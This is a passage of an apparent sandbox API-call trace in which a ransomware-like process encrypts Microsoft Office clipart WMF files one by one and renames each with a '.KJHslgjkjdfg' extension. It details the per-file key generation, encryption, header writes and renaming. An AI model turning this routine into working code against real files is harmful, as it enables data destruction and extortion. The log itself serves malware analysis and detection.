dwFlags=0x0) returned 1 [0188.298] GetProcessHeap () returned 0x990000 [0188.298] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.298] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.298] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.298] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.299] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.299] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.300] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.300] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.300] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.300] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.300] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x820, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x820, lpOverlapped=0x0) returned 1 [0188.300] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x820, dwBufLen=0x820 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x820) returned 1 [0188.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.300] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x820, lpOverlapped=0x0) returned 1 [0188.300] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.300] SetEndOfFile (hFile=0x130) returned 1 [0188.302] GetProcessHeap () returned 0x990000 [0188.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.302] GetProcessHeap () returned 0x990000 [0188.302] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.kjhslgjkjdfg")) returned 1 [0188.303] CloseHandle (hObject=0x130) returned 1 [0188.303] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0188.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.304] GetProcessHeap () returned 0x990000 [0188.304] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.304] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.304] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.307] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.307] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.307] GetProcessHeap () returned 0x990000 [0188.307] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.307] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.307] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.307] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.307] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.307] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.307] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.307] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.307] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.308] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.308] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7d4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7d4, lpOverlapped=0x0) returned 1 [0188.308] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e0) returned 1 [0188.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.308] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7e0, lpOverlapped=0x0) returned 1 [0188.308] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.308] SetEndOfFile (hFile=0x130) returned 1 [0188.311] GetProcessHeap () returned 0x990000 [0188.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.311] GetProcessHeap () returned 0x990000 [0188.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.kjhslgjkjdfg")) returned 1 [0188.312] CloseHandle (hObject=0x130) returned 1 [0188.312] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0188.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.313] GetProcessHeap () returned 0x990000 [0188.313] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.314] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.314] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.316] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.316] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.316] GetProcessHeap () returned 0x990000 [0188.316] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.316] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.316] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.316] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.316] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.316] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.317] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.317] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.317] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.317] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.317] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7e4, lpOverlapped=0x0) returned 1 [0188.317] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f0, dwBufLen=0x7f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f0) returned 1 [0188.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.317] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7f0, lpOverlapped=0x0) returned 1 [0188.317] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.317] SetEndOfFile (hFile=0x130) returned 1 [0188.320] GetProcessHeap () returned 0x990000 [0188.320] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.320] GetProcessHeap () returned 0x990000 [0188.320] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.kjhslgjkjdfg")) returned 1 [0188.321] CloseHandle (hObject=0x130) returned 1 [0188.322] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0188.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.322] GetProcessHeap () returned 0x990000 [0188.322] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.322] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.322] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.325] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.325] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.325] GetProcessHeap () returned 0x990000 [0188.325] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.325] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.325] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.325] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.325] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.325] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.326] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.326] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.326] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.326] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.327] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.327] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x964, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x964, lpOverlapped=0x0) returned 1 [0188.327] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x970, dwBufLen=0x970 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x970) returned 1 [0188.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.327] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x970, lpOverlapped=0x0) returned 1 [0188.327] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.327] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.327] SetEndOfFile (hFile=0x130) returned 1 [0188.330] GetProcessHeap () returned 0x990000 [0188.330] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.330] GetProcessHeap () returned 0x990000 [0188.330] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.330] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.kjhslgjkjdfg")) returned 1 [0188.331] CloseHandle (hObject=0x130) returned 1 [0188.331] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0188.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.332] GetProcessHeap () returned 0x990000 [0188.332] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.332] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.332] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.334] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.334] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.334] GetProcessHeap () returned 0x990000 [0188.334] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.334] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.334] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.334] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.334] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.334] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.334] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: 